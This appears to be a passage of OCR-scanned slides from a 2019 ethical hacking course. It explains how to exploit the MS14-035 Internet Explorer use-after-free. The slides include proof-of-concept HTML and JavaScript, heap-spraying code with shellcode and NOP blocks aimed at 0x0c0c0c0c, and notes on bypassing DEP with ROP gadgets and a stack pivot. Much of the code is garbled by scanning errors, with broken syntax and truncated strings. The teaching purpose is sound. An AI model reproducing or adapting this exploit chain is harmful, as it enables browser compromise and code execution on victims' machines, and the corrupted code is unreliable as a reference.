</form>

<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call
if (startfl) {
document .getElementByTd ("testfm") .innerHTML = ""; // Destroy form contents
}
}

document.getElementById("child2") .checked = true;
document.getElementById("child2") .onpropertychange=changer;

startfl = true;

document.getElementById("testfm") .reset(); // DoReset call
</script>

</body>

</html>
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Use after free exploitation example

 The changer function destroys the form
 The form reset() method iterates through the form elements

 When child2.reset() is executed the changer is activated because of
the onPropertyChange

 When test2.reset() has to be executed there is no test2 (use after
free condition)

How to exploit it?

» After test2 is destroyed, a fake object with the size of test2 should
be reallocated in the heap to avoid use after free

 The fake object has to be the same size as test2 to be allocated to
the same place in the virtual memory
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Use after free exploitation example

In order to exploit
the vulnerability we
need to allocate an
object with the same
size (0x78) to
control the next
usage of the freed
object. Using the
following code there
will not be use after
free, since  we
allocated the object
again (but this time
we  control the
content).

<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<input type="button" name="test2" value="a2">
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
</form>
<script>
var startfl=false;
function changer () ({

// Call of changer function will happen inside mshtml !CFormElement: :DoReset call,

if (startfl) {
document .getElementById("testfm") .innerHTML = "";

}

// Destroy form contents,

CollectGarbage () ;
divobj = document.createElement ('div');

// 118 bytes ( + terminating nulls gets added automatically)
// Total size: 120 bytes (0x78)
divobj.className = "\u4l41\u4141\u4l141\u4l141\u4141\ud4l41\udld
"\u4l141\u4141\u4141"

document .getElementById("child2") .checked = true;
document.getElementById("child2") .onpropertychange=changer:;
startfl = true;

document.getElementByTd ("testfm") .reset () ; // DoReset call
</script>

</body>

</html>
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Heap spraying

Heap spraying is a payload delivery techniqgue for heap related
vulnerability exploitations. If we allocate an array with specific member
size then the heap will be full with our data. The heap allocation
addresses are random, but since we use multiple copies from the same
object it is likely to have our data at 0x0cOcOcOc too.

Address | Contents _________________________

0x1000 bytes 0x1000 bytes 01000 bytes 0x1000 bytes 0x1000 bytes

0c080018 i Nops | shellcode | Nops | shellcode l Nops | shellcode l Nops | shellcode ‘ l anslﬂullwd-]

01000 bytes 01000 bytes 0x1000 bytes (1000 bytes

0c090018 | Nops | shellcods | VT l bl e l T | o | Wyt i I

0x1000 bytes 0x1000 bytes Ox1000 bytes 0x1000 bytes 0x1000 bytes
0c0a0018 | nops | shellcods 1 Nops | shellcode l Nops | shallcode * Nops | shallcode | = | Nops| shellcode |

01000 bytes 01000 bytes Ox 1000 bytes 01000 bytes

0c0b0018 | Nops | shellcode | Nops | shellcode l Nops | shellcode l Nops | shellcode ‘

0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes
0c0c0018 | Nops|shellcode | Mops | shellcode | Nops | shellcode | Mops | shellcode |

0c0d0018

0x0c0c0cOc
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Use after free exploitation example

<html>

<head><tit1e>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>

<form id="testfm">

{input type="button" name="test2" value="al2">

<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br:>
</form>

<script>

var startfl=false;

function changer() {

//heap spraying

var spraychunks = new Array() ;

var shellcode = unescape("zub

shellcode += unescape ('%uc us5504"'+
'$u21b8%udf2csuff7d%su90do’) ;

var junk = unescape ("%ulc0cO0c%ulc0c") ;

while (junk.length < 0x4000) junk += unescape ("%ulcOc%ulcOc") ;

// we create one subblock [ junk + shellcode + junk ]

offset = 0Oxbe8/2 ;

var junk front = junk.substring(0,offset):;

var junk end = junk.substring(0,0x800 - junk front.length - shellcode.length)

var smallblock = junk front + shellcode + junk end;

var largeblock = "";

while (largeblock.length < 0x80000) { largeblock = largeblock + smallblock; }
// allocate 0x500 times
for (i = 0; i < 0x500; i++) { spraychunks[i] = largeblock.substring (0, (0x7fb00-6)/2) ; }

// Call of changer function will happen inside mshtml!CFormElement: :DoReset call, after exect
if (startfl) {
document .getElementById("testfm") .innerHTML = ""; // Destroy form contents, free next (
}

CollectGarbage() :
divobj = document.createElement ('div') ;

Finse 2019 Ethical hacking

64



Use after free exploitation example

How to bypass DEP with the previous example?
 We can specify an address to jump
 We can do heap spraying and place the payload at 0x0cOcOcOc

 Jump to a stack pivot (Stack pivot is a gadget that moves the stack to

a different place) For example:
Pop ecx; ret
0x0c0c0cOc
Xchg esp, ecx; ret

* Fill the heap with the ROP

Extra task or practicing not for submission: Write the same exploit that
bypass DEP!
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Thank you for your attention!
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